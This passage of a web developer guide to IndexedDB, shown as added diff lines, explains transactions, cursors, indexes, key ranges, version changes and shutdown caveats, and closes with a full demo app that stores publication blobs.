+<p>Transactions can receive DOM events of three different types: <code>error</code>, <code>abort</code>, and <code>complete</code>. We've talked about the way that <code>error</code> events bubble, so a transaction  receives error events from any requests that are generated from it. A more subtle point here is that the default behavior of an error is to abort the transaction in which it occurred. Unless you handle the error by calling <code>preventDefault()</code> on the error event, the entire transaction is rolled back. This design forces you to  think about and handle errors, but you can always add a catchall error handler to the database if fine grained error handling is too cumbersome. If you don't handle an error event or if you call <code>abort()</code> on the transaction, then the transaction is rolled back and an <code>abort</code> event is fired on the transaction. Otherwise, after all pending requests have completed, you'll get a <code>complete</code> event. If you're doing lots of database operations, then tracking the transaction rather than individual requests can certainly aide your sanity.</p>
+
+<p>Now that you have a transaction, you'll need to get the object store from it. Transactions only let you have an object store that you specified when creating the transaction. Then you can add all the data you need.</p>
+
+<pre class="brush: js">// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn;
+  };
+}</pre>
+
+<p>The <code>result</code> of a request generated from a call to <code>add() </code>is the key of the value that was added. So in this case, it should equal the <code>ssn</code> property of the object that was added, since the object store uses the <code>ssn</code> property for the key path. Note that the <code>add()</code> function requires that no object already be in the database with the same key. If you're trying to modify an existing entry, or you don't care if one exists already, use the <code>put()</code> function.</p>
+
+<h2 id="Removing_data_from_the_database">Removing data from the database</h2>
+
+<p>Removing data is very similar:</p>
+
+<pre class="brush: js">var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};</pre>
+
+<h2 id="Getting_data_from_the_database">Getting data from the database</h2>
+
+<p>Now that the database has some info in it, you can retrieve it in several ways. First, the simple <code>get()</code>. You need to provide the key to retrieve the value, like so:</p>
+
+<pre class="brush: js">var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};</pre>
+
+<p>That's a lot of code for a "simple" retrieval. Here's how you can shorten it up a bit, assuming that you handle errors at the database level:</p>
+
+<pre class="brush: js">db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};</pre>
+
+<p>See how this works? Since there's only one object store, you can avoid passing a list of object stores you need in your transaction and just pass the name as a string. Also, you're only reading from the database, so you don't need a <code>"readwrite"</code> transaction. Calling <code>transaction()</code> with no mode specified gives you a <code>"readonly"</code> transaction. Another subtlety here is that you don't actually save the request object to a variable. Since the DOM event has the request as its target you can use the event to get to the <code>result</code> property. Easy, right?!</p>
+
+<h2 id="Using_a_cursor">Using a cursor</h2>
+
+<p>Using <code>get()</code> requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:</p>
+
+<pre class="brush: js">var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};</pre>
+
+<p>The<code> openCursor()</code> function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the <code>result</code> of the request (above we're using the shorthand, so it's <code>event.target.result</code>). Then the actual key and value can be found on the <code>key</code> and <code>value</code> properties of the cursor object. If you want to keep going, then you have to call <code>continue()</code> on the cursor. When you've reached the end of the data (or if there were no entries that matched your <code>openCursor()</code> request) you still get a success callback, but the <code>result</code> property is <code>undefined</code>.</p>
+
+<p>One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:</p>
+
+<pre class="brush: js">var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};</pre>
+
+<div class="warning"><strong>Warning:</strong> The following function is not part of the IndexedDB standard!</div>
+
+<p>Mozilla has also implemented <code>getAll()</code> to handle this case. It isn't part of the IndexedDB standard, so it may disappear in the future. We've included it because we think it's useful. The following code does precisely the same thing as above:</p>
+
+<pre class="brush: js">objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};</pre>
+
+<p>There is a performance cost associated with looking at the <code>value</code> property of a cursor, because the object is created lazily. When you use <code>getAll()</code>, Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use <code>getAll()</code>. If you're trying to get an array of all the objects in an object store, though, use <code>getAll()</code>.</p>
+
+<h3 id="Using_an_index">Using an index</h3>
+
+<p>Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.</p>
+
+<pre class="brush: js">var index = objectStore.index("name");
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};</pre>
+
+<p>The "name" cursor isn't unique, so there could be more than one entry with the <code>name</code> set to <code>"Donna"</code>. In that case you always get the one with the lowest key value.</p>
+
+<p>If you need to access all the entries with a given <code>name</code> you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:</p>
+
+<pre class="brush: js">index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
+    cursor.continue();
+  }
+};</pre>
+
+<h3 id="Specifying_the_range_and_direction_of_cursors">Specifying the range and direction of cursors</h3>
+
+<p>If you would like to limit the range of values you see in a cursor, you can use a key range object and pass it as the first argument to <code>openCursor()</code> or <code>openKeyCursor()</code>. You can make a key range that only allows a single key, or one the has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value) or "open" (i.e., the key range does not include the given value). Here's how it works:</p>
+
+<pre class="brush: js">// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+//Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};</pre>
+
+<p>Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing <code>prev</code> to the <code>openCursor()</code> function:</p>
+
+<pre class="brush: js">objectStore.openCursor(null, IDBCursor.prev).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+
+<p>Since the "name" index isn't unique, there might be multiple entries where <code>name</code> is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass <code>nextunique</code> (or <code>prevunique</code> if you're going backwards) as the direction parameter. When <code>nextunique</code> or <code>prevunique</code> is used, the entry with the lowest key is always the one returned.</p>
+
+<pre class="brush: js">index.openKeyCursor(null, IDBCursor.nextunique).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</pre>
+
+<h2 id="Version_changes_while_a_web_app_is_open_in_another_tab">Version changes while a web app is open in another tab</h2>
+
+<p>When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call <code>open()</code> with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database. Here's how it works:</p>
+
+<pre class="brush: js">var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user close the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+</pre>
+
+<h2 id="Security">Security</h2>
+
+<p>IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.</p>
+
+<p>It's important to note that IndexedDB doesn't work for content loaded into a frame from another site (either {{ HTMLElement("frame") }} or {{ HTMLElement("iframe") }}. This is a security and privacy measure and can be considered analogous the blocking of 3rd-party cookies.  For more details, see {{ bug(595307) }}.</p>
+
+<h2 id="Warning_About_Browser_Shutdown">Warning About Browser Shutdown</h2>
+
+<p>When the browser shuts down (e.g., when the user selects Exit or clicks the Close button),  any pending IndexedDB transactions are (silently) aborted -- they will not complete, and they will not trigger the error handler.  Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete or to know that it did not complete.  There are several implications of this behavior.</p>
+
+<p>First, you should take care to always leave your database in a consistent state at the end of every transaction.  For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit.  You save the list after the edit by clearing the object store and then writing out the new list.  If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database.  To avoid this, you should combine the clear and the write into a single transaction. </p>
+
+<p>Second, you should never tie database transactions to unload events.  If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete.  An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes.  However, this will not work.  The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.</p>
+
+<p>In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown.  See {{ bug(870645) }}.</p>
+
+<h2 id="Full_IndexedDB_example" name="Full_IndexedDB_example">Full IndexedDB example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt;
+
+    &lt;h1&gt;IndexedDB Demo: storing blobs, e-publication example&lt;/h1&gt;
+    &lt;div class="note"&gt;
+      &lt;p&gt;
+        Works and tested with:
+      &lt;/p&gt;
+      &lt;div id="compat"&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="msg"&gt;
+    &lt;/div&gt;
+
+    &lt;form id="register-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-title" class="required"&gt;
+                Title:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-title" name="pub-title" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid" class="required"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid" name="pub-biblioid"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-year"&gt;
+                Year:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="number" id="pub-year" name="pub-year" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file"&gt;
+                File image:
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="file" id="pub-file"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-file-url"&gt;
+                Online-file image URL:&lt;br/&gt;
+                &lt;span class="note"&gt;(same origin URL)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-file-url" name="pub-file-url"/&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="add-button" value="Add Publication" /&gt;
+        &lt;input type="reset" id="register-form-reset"/&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="delete-form"&gt;
+      &lt;table&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="pub-biblioid-to-delete"&gt;
+                Bibliographic ID:&lt;br/&gt;
+                &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt;
+              &lt;label for="key-to-delete"&gt;
+                Key:&lt;br/&gt;
+                &lt;span class="note"&gt;(for example 1, 2, 3, etc.)&lt;/span&gt;
+              &lt;/label&gt;
+            &lt;/td&gt;
+            &lt;td&gt;
+              &lt;input type="text" id="key-to-delete"
+                     name="key-to-delete" /&gt;
+            &lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+      &lt;/table&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="delete-button" value="Delete Publication" /&gt;
+        &lt;input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;form id="search-form"&gt;
+      &lt;div class="button-pane"&gt;
+        &lt;input type="button" id="search-list-button"
+               value="List database content" /&gt;
+      &lt;/div&gt;
+    &lt;/form&gt;
+
+    &lt;div&gt;
+      &lt;div id="pub-msg"&gt;
+      &lt;/div&gt;
+      &lt;div id="pub-viewer"&gt;
+      &lt;/div&gt;
+      &lt;ul id="pub-list"&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+</pre>
+
+<p> </p>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', "&gt;= 16.0"],
+    ['Google Chrome',
+     "&gt;= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('&lt;ul id="compat-list"&gt;&lt;/ul&gt;');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('&lt;li&gt;' + val[0] + ': ' + val[1] + '&lt;/li&gt;');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid to uselessly reload it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+     console.log("openDb.onupgradeneeded");
+     var thisDB = evt.target.result;
+     if (!thisDB.objectStoreNames.contains(DB_STORE_NAME)) {
+      var store = thisDB.createObjectStore(
+          DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+        store.createIndex('biblioid', 'biblioid', { unique: true });
+        store.createIndex('title', 'title', { unique: false });
+        store.createIndex('year', 'year', { unique: false });
+      }
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Reseting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('&lt;p&gt;There are &lt;strong&gt;' + evt.target.result +
+                     '&lt;/strong&gt; record(s) in the object store.&lt;/p&gt;');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('&lt;li&gt;' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '&lt;/li&gt;');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &amp;&amp;
+              typeof value.blob != 'undefined') {
+            var link = $('&lt;a href="' + cursor.key + '"&gt;File&lt;/a&gt;');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('&lt;iframe /&gt;');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('&lt;img id="' + img_id + '"/&gt;');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin than the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+                           if (xhr.status == 200) {
+                             console.log("Blob retrieved");
+                             var blob = xhr.response;
+                             console.log("Blob:", blob);
+                             addPublication(biblioid, title, year, blob);
+                           } else {
+                             console.error("addPublicationFromUrl error:",
+                                           xhr.responseText, xhr.status);
+                           }
+                         };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+      };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('&lt;span class="action-success"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('&lt;span class="action-failure"&gt;' + msg + '&lt;/span&gt;');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+</pre>
+
+<p>{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}</p>
+
+<h2 id="Next_step">Next step</h2>
+
